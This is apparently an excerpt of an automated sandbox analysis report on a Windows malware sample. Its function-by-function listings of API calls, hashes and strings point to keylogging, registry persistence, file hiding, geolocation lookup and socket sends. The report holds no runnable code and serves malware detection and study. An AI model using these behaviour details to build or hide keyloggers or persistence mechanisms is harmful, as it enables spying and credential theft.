                                                                                            • Opcode ID: 4c2cb8f42a11c4837a933b64665c4adbebb485c1a13128294ca0300166a406df
                                                                                            • Instruction ID: f058a63a2e06dcb2b247864a9289bab0e783a4957c20bc3838a58b63f1508e50
                                                                                            • Opcode Fuzzy Hash: 4c2cb8f42a11c4837a933b64665c4adbebb485c1a13128294ca0300166a406df
                                                                                            • Instruction Fuzzy Hash: F0415C721482009AC214F721DC97DAFB7A4AE90759F10063FF546720E2EE7CAA59C69F
                                                                                            Function 00409E48 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 163sleepCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                            • Sleep.KERNEL32(00001388), ref: 00409E62
                                                                                              • Part of subcall function 00409D97: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,00409E6F), ref: 00409DCD
                                                                                              • Part of subcall function 00409D97: GetFileSize.KERNEL32(00000000,00000000,?,?,?,00409E6F), ref: 00409DDC
                                                                                              • Part of subcall function 00409D97: Sleep.KERNEL32(00002710,?,?,?,00409E6F), ref: 00409E09
                                                                                              • Part of subcall function 00409D97: CloseHandle.KERNEL32(00000000,?,?,?,00409E6F), ref: 00409E10
                                                                                            • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00409E9E
                                                                                            • GetFileAttributesW.KERNEL32(00000000), ref: 00409EAF
                                                                                            • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 00409EC6
                                                                                            • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00000012), ref: 00409F40
                                                                                              • Part of subcall function 0041B825: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,00409F65), ref: 0041B83E
                                                                                            • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00466900,?,00000000,00000000,00000000,00000000,00000000), ref: 0040A049
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                                                                                            • String ID: PSG$PSG
                                                                                            • API String ID: 3795512280-3836871860
                                                                                            • Opcode ID: 5300b1ab186d872918067210331796134d4f630a494b5f57e813b661e2350dbd
                                                                                            • Instruction ID: 2e46ee78bd67d64478951c63fc585b7447d0c94e1b250d5b4a4871e09aa14890
                                                                                            • Opcode Fuzzy Hash: 5300b1ab186d872918067210331796134d4f630a494b5f57e813b661e2350dbd
                                                                                            • Instruction Fuzzy Hash: 68517F716043005ACB05BB71C866ABF779AAF81309F00453FF886B71E2DE7D9D45C69A
                                                                                            Function 0041A66E Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 59COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                              • Part of subcall function 0041B366: GetCurrentProcess.KERNEL32(?,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B377
                                                                                              • Part of subcall function 0041B366: IsWow64Process.KERNEL32(00000000,?,?,0040C914,WinDir,00000000,00000000), ref: 0041B37E
                                                                                              • Part of subcall function 004125EB: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 0041260F
                                                                                              • Part of subcall function 004125EB: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,00000400), ref: 0041262C
                                                                                              • Part of subcall function 004125EB: RegCloseKey.KERNEL32(?), ref: 00412637
                                                                                            • StrToIntA.SHLWAPI(00000000,0046CC58,?,00000000,00000000,004750FC,00000003,Exe,00000000,0000000E,00000000,0046656C,00000003,00000000), ref: 0041A6E4
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Process$CloseCurrentOpenQueryValueWow64
                                                                                            • String ID: (32 bit)$ (64 bit)$8ZG$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                                                            • API String ID: 782494840-1475859423
                                                                                            • Opcode ID: 9aec2b8ec9fe0bc74b1aaefc54a8ca60cca27e1f71ba4bfc073f336c69462b2c
                                                                                            • Instruction ID: 1adcdd06a104af508aeef54d465e0c78d2d81651f2e3fe11076ab4bcd17b792f
                                                                                            • Opcode Fuzzy Hash: 9aec2b8ec9fe0bc74b1aaefc54a8ca60cca27e1f71ba4bfc073f336c69462b2c
                                                                                            • Instruction Fuzzy Hash: 1811C660A001012AC704B3A6DCDBDBF765A9B91304F44413FB856A71E2FB6C9D9583EE
                                                                                            Function 0041A726 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68networkfileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041A749
                                                                                            • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041A75F
                                                                                            • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041A778
                                                                                            • InternetCloseHandle.WININET(00000000), ref: 0041A7BE
                                                                                            • InternetCloseHandle.WININET(00000000), ref: 0041A7C1
                                                                                            Strings
                                                                                            • http://geoplugin.net/json.gp, xrefs: 0041A759
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Internet$CloseHandleOpen$FileRead
                                                                                            • String ID: http://geoplugin.net/json.gp
                                                                                            • API String ID: 3121278467-91888290
                                                                                            • Opcode ID: 5ec7c95dea9e49cf95435106c5131fe6cd53c0704906ac8ba933fa32df219867
                                                                                            • Instruction ID: dd066ffe0ad47051801ff1a9504fa95a24023bf504f9cdcf24902ddc36d2e50e
                                                                                            • Opcode Fuzzy Hash: 5ec7c95dea9e49cf95435106c5131fe6cd53c0704906ac8ba933fa32df219867
                                                                                            • Instruction Fuzzy Hash: C311947110A3126BD624EB169C85DBF7BECEF86765F00043EF845A2191DF68D848C6BA
                                                                                            Function 1000C7E6 Relevance: 9.1, APIs: 6, Instructions: 65libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleHandleA.KERNEL32(1000C7DD), ref: 1000C7E6
                                                                                            • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 1000C860
                                                                                              • Part of subcall function 1000C803: GetProcAddress.KERNEL32(00000000,1000C7F4), ref: 1000C804
                                                                                              • Part of subcall function 1000C803: VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                                                                                              • Part of subcall function 1000C803: VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressHandleModuleProcProtectVirtual
                                                                                            • String ID:
                                                                                            • API String ID: 2099061454-0
                                                                                            • Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                                                                                            • Instruction ID: 210348daefc771ff09e919cc38fdfa0d839c8297c2798a32150270056baeab90
                                                                                            • Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                                                                                            • Instruction Fuzzy Hash: 0301D22094574A38BA51D7B40C06EBA5FD8DB176E0B24D756F1408619BDDA08906C3AE
                                                                                            Function 00409D97 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,00409E6F), ref: 00409DCD
                                                                                            • GetFileSize.KERNEL32(00000000,00000000,?,?,?,00409E6F), ref: 00409DDC
                                                                                            • Sleep.KERNEL32(00002710,?,?,?,00409E6F), ref: 00409E09
                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,00409E6F), ref: 00409E10
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: File$CloseCreateHandleSizeSleep
                                                                                            • String ID: pQG
                                                                                            • API String ID: 1958988193-3769108836
                                                                                            • Opcode ID: 0f98f6b2fa3e8daa10c794e4e90518561bdac5fa53dda9530c93ee6adae91d98
                                                                                            • Instruction ID: 007c54a35b5ab6fada7f5b2b4f31fda992404cc28ee9ac254c5285dcec39f6dc
                                                                                            • Opcode Fuzzy Hash: 0f98f6b2fa3e8daa10c794e4e90518561bdac5fa53dda9530c93ee6adae91d98
                                                                                            • Instruction Fuzzy Hash: 0911E730640B406AE720E724D88972F7B9AAB81316F44047EF18566AE3CA799CD5C29D
                                                                                            Function 004127AA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 004127B9
                                                                                            • RegSetValueExA.KERNEL32(?,XwF,00000000,?,00000000,00000000,00475308,?,?,0040E6D3,00467758,6.0.0 Pro), ref: 004127E1
                                                                                            • RegCloseKey.KERNEL32(?,?,?,0040E6D3,00467758,6.0.0 Pro), ref: 004127EC
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseCreateValue
                                                                                            • String ID: XwF$pth_unenc
                                                                                            • API String ID: 1818849710-1649331827
                                                                                            • Opcode ID: 982d69b1a9a20cce73631954f23cfe9bef3ac4c30ed0051698ca4d26d46074e1
                                                                                            • Instruction ID: b42ea712bc7a6ff48bd64609183fdbccf638e423d93a2202917fd6756948167f
                                                                                            • Opcode Fuzzy Hash: 982d69b1a9a20cce73631954f23cfe9bef3ac4c30ed0051698ca4d26d46074e1
                                                                                            • Instruction Fuzzy Hash: 27F06D32140204BBCB00AFA1DD45AEF3768EF00751B108169B916B60A1EE759E04EBA4
                                                                                            Function 1000C7A7 Relevance: 7.6, APIs: 5, Instructions: 100libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 1000C860
                                                                                              • Part of subcall function 1000C7E6: GetModuleHandleA.KERNEL32(1000C7DD), ref: 1000C7E6
                                                                                              • Part of subcall function 1000C7E6: GetProcAddress.KERNEL32(00000000,1000C7F4), ref: 1000C804
                                                                                              • Part of subcall function 1000C7E6: VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                                                                                              • Part of subcall function 1000C7E6: VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressHandleModuleProcProtectVirtual
                                                                                            • String ID:
                                                                                            • API String ID: 2099061454-0
                                                                                            • Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                                                                                            • Instruction ID: abaa11d5974e3e1b05dfd32ec0224f7ddc3d76465740e120717e363e7a178845
                                                                                            • Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                                                                                            • Instruction Fuzzy Hash: A921382140838A6FF711CBB44C05FA67FD8DB172E0F198696E040CB147DDA89845C3AE
                                                                                            Function 1000C803 Relevance: 7.6, APIs: 5, Instructions: 54librarymemoryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetProcAddress.KERNEL32(00000000,1000C7F4), ref: 1000C804
                                                                                            • VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                                                                                            • VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                                                                                            • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 1000C860
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1422485768.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1422450831.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1422485768.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_10000000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressProcProtectVirtual$HandleModule
                                                                                            • String ID:
                                                                                            • API String ID: 2152742572-0
                                                                                            • Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                                                                                            • Instruction ID: 9138b94afbcae90e12a8614b592989542e7cb6e8cba5f1d72008c399686a5f74
                                                                                            • Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                                                                                            • Instruction Fuzzy Hash: B7F0C2619497893CFA21C7B40C45EBA5FCCCB276E0B249A56F600C718BDCA5890693FE
                                                                                            Function 00404468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92synchronizationnetworkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • send.WS2_32(000002FC,00000000,00000000,00000000), ref: 004044FD
                                                                                            • WaitForSingleObject.KERNEL32(00000000,00000000,{NAL,?,?,00000004,?,?,00000004,00474EE0,004755B0,00000000), ref: 0040450E
                                                                                            • SetEvent.KERNEL32(00000000,?,?,00000004,?,?,00000004,00474EE0,004755B0,00000000,?,?,?,?,?,00414E7B), ref: 0040453C
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: EventObjectSingleWaitsend
                                                                                            • String ID: {NAL
                                                                                            • API String ID: 3963590051-1903569844
                                                                                            • Opcode ID: 9b17b6a752d458483485fa9a2fe726e77ccb4ecb47dd0a7364ddfc68ed0b53cf
                                                                                            • Instruction ID: 09920f02ef31e30e393b68ef0c8285e211ae926702cc5adcda46913b737bad1c
                                                                                            • Opcode Fuzzy Hash: 9b17b6a752d458483485fa9a2fe726e77ccb4ecb47dd0a7364ddfc68ed0b53cf
                                                                                            • Instruction Fuzzy Hash: 552137B29005156BCF04ABA5DC96DEE777CBF54358B00413EF916B21E1EE78A504C6E4
                                                                                            Function 004098A5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateThread.KERNEL32(00000000,00000000,004099A9,?,00000000,00000000), ref: 0040992A
                                                                                            • CreateThread.KERNEL32(00000000,00000000,Function_00009993,?,00000000,00000000), ref: 0040993A
                                                                                            • CreateThread.KERNEL32(00000000,00000000,Function_000099B5,?,00000000,00000000), ref: 00409946
                                                                                              • Part of subcall function 0040A876: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040A884
                                                                                              • Part of subcall function 0040A876: wsprintfW.USER32 ref: 0040A905
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CreateThread$LocalTimewsprintf
                                                                                            • String ID: Offline Keylogger Started
                                                                                            • API String ID: 465354869-4114347211
                                                                                            • Opcode ID: 1a4683f05af5c0332544209ff491e84dc48c8e271432772c70c8197e1fa403d3
                                                                                            • Instruction ID: 15e43fcc554e39227c644a0273f32637653ac1eeca6ef832bd6c9a92d0497390
                                                                                            • Opcode Fuzzy Hash: 1a4683f05af5c0332544209ff491e84dc48c8e271432772c70c8197e1fa403d3
                                                                                            • Instruction Fuzzy Hash: 0A1198B15003097AD224BA36CC86DBF7A5CDA813A8B40053EB845622D3EA785E14C6FB
                                                                                            Function 004128AD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegCreateKeyA.ADVAPI32(80000001,00000000,TeF), ref: 004128BB
                                                                                            • RegSetValueExA.KERNEL32(TeF,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040B94C,004670E0,00000001,000000AF,00466554), ref: 004128D6
                                                                                            • RegCloseKey.KERNEL32(?,?,?,?,0040B94C,004670E0,00000001,000000AF,00466554), ref: 004128E1
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: CloseCreateValue
                                                                                            • String ID: TeF
                                                                                            • API String ID: 1818849710-331424825
                                                                                            • Opcode ID: 69388a3f5ca785ef31159ee28a7932d701a8b17d3c2adace4bd37096d90c6bf5
                                                                                            • Instruction ID: 5082c9e4fe043c0a9a82c1e0a3a4def458545ef8caf92c2e29ea1f35f3ad8a86
                                                                                            • Opcode Fuzzy Hash: 69388a3f5ca785ef31159ee28a7932d701a8b17d3c2adace4bd37096d90c6bf5
                                                                                            • Instruction Fuzzy Hash: C9E03971640308BFDF119B919C05FDB3BA8EB04B95F004165FA05F61A1DAB1DE18EBA8
                                                                                            Function 0040AFBA Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • TerminateThread.KERNEL32(004099A9,00000000,00475308,pth_unenc,0040BF26,h&y,00475308,?,pth_unenc), ref: 0040AFC9
                                                                                            • UnhookWindowsHookEx.USER32(00475108), ref: 0040AFD5
                                                                                            • TerminateThread.KERNEL32(Function_00009993,00000000,?,pth_unenc), ref: 0040AFE3
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: TerminateThread$HookUnhookWindows
                                                                                            • String ID: pth_unenc
                                                                                            • API String ID: 3123878439-4028850238
                                                                                            • Opcode ID: 5ce168509fd4f53ac483e5472d8910f69c83d539265d002f33f874c0df2e9344
                                                                                            • Instruction ID: 19faee7e247875c6ed4f8509c992ad96cda0262a64c11258bcf204109443e34b
                                                                                            • Opcode Fuzzy Hash: 5ce168509fd4f53ac483e5472d8910f69c83d539265d002f33f874c0df2e9344
                                                                                            • Instruction Fuzzy Hash: BEE01DB1245715DFD3101F545C94825BB99EB44746324087FF6C165252CD798C14C759
                                                                                            Function 00404688 Relevance: 6.1, APIs: 4, Instructions: 121synchronizationthreadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,?), ref: 00404778
                                                                                            • CreateThread.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 0040478C
                                                                                            • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000000,?,?,00000000), ref: 00404797
                                                                                            • CloseHandle.KERNEL32(?,?,00000000,00000000,?,?,00000000), ref: 004047A0
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Create$CloseEventHandleObjectSingleThreadWait
                                                                                            • String ID:
                                                                                            • API String ID: 3360349984-0
                                                                                            • Opcode ID: 879e8873703a343328933c6ca1188a2abdfe38c41639f4dae62e269073e8b3ef
                                                                                            • Instruction ID: 5371640f48c6a0368c7cea64887978d4ac2a240c02499e3407376e9d4191e8ff
                                                                                            • Opcode Fuzzy Hash: 879e8873703a343328933c6ca1188a2abdfe38c41639f4dae62e269073e8b3ef
                                                                                            • Instruction Fuzzy Hash: 10417171504301ABC700FB61CC55D7FBBE9AFD5315F00093EF892A32E2EE389909866A
                                                                                            Function 0041B79A Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON
